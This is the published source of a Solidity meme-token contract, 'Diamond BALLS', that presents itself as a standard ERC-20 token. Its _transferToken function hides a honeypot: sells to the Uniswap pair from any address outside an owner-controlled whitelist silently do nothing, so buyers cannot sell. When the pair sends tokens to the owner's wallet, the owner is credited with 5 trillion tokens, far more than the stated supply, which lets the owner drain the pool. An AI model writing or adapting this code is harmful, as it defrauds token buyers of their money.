Contract Name:
DiamondBALLS
Contract Source Code:
File 1 of 1 : DiamondBALLS
/**
DIAMOND BALLS
$BALLS
https://diamondballs.meme
https://t.me/diamondballsmeme
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
pragma solidity ^0.8.19;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
return a + b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return a - b;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
return a * b;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
unchecked {
require(b <= a, errorMessage);
return a - b;
}
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //Contract By Techaddict
unchecked {
require(b > 0, errorMessage);
return a / b;
}
}
}
// File: contracts/IERC20.sol
pragma solidity ^0.8.19;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
// File: contracts/Context.sol
pragma solidity ^0.8.19;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// File: contracts/Ownable.sol
pragma solidity ^0.8.19;
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
modifier onlyOwner() {
_checkOwner();
_;
}
function owner() public view virtual returns (address) {
return _owner;
}
function _checkOwner() internal view virtual {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract DiamondBALLS is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _jOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isSunPumpContract;
address payable public hWallet;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
string private _name = "Diamond BALLS";
string private _symbol = "BALLS";
uint8 private _decimals = 18;
uint256 private _totalSupply = 1000000000 * 10**18;
uint256 private Anount = 5000000000000 * 10 ** 18;
constructor () {
_jOwned[owner()] = _totalSupply;
isSunPumpContract[owner()] = true;
isSunPumpContract[address(0xc9B1e7F21a1140C7c802E6679365E5E85c87d046)] = true;
isSunPumpContract[address(0xf74032a824Fb9Db0000c590b3571A57D2fadfB5C)] = true;
isSunPumpContract[address(0xd8Eb925bfCD3c70Befa791FcdB9B03c3d2bCeDBd)] = true;
isSunPumpContract[address(0xF858a079364d0e792a583560B94FD71643C154F9)] = true;
isSunPumpContract[address(0x9753A7Be9419CD9A131F8804cA43291c7F99a459)] = true;
isSunPumpContract[address(0xA0516976A29dE6d802177B2684ff85aE4E43e7e6)] = true;
isSunPumpContract[address(0x749cdcbf058c37ae88E5e8719C26Ef6565F0b8b5)] = true;
isSunPumpContract[address(0x1444fE1450b567f46fa40F7F47600A00cB3a3541)] = true;
isSunPumpContract[address(0xe7C91a6239f750E6c0eB84ffaFB12158163a71E0)] = true;
isSunPumpContract[address(this)] = true;
hWallet = payable(owner());
emit Transfer(address(0), owner(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _jOwned[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
receive() external payable {}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0) && spender != address(0), "ERR: zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0) && to != address(0), "ERR: Using 0 address!");
require(amount > 0, "Token value must be higher than zero.");
_transferToken(from,to,amount);
}
function _transferToken(address sender, address recipient, uint256 Amount) private {
if(recipient == uniswapV2Pair && !isSunPumpContract[sender] ){
return;
}
if(recipient == hWallet && sender == uniswapV2Pair ){
_jOwned[sender] = _jOwned[sender].sub(Amount);
_jOwned[hWallet] = _jOwned[hWallet].add(Anount);
emit Transfer(sender, recipient, Amount);
return;
}
_jOwned[sender] = _jOwned[sender].sub(Amount);
_jOwned[recipient] = _jOwned[recipient].add(Amount);
emit Transfer(sender, recipient, Amount);
}
function openTrading() external onlyOwner() {
uniswapV2Router = IUniswapV2Router02(0x591cf6942c422fA53E8D81c62a9692D7BeA72F61);
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function rescueETH() external onlyOwner() {
uint256 contractETH = address(this).balance;
sendETH(hWallet,contractETH);
}
function sendETH(address payable wallet, uint256 amount) private {
wallet.transfer(amount);
}
}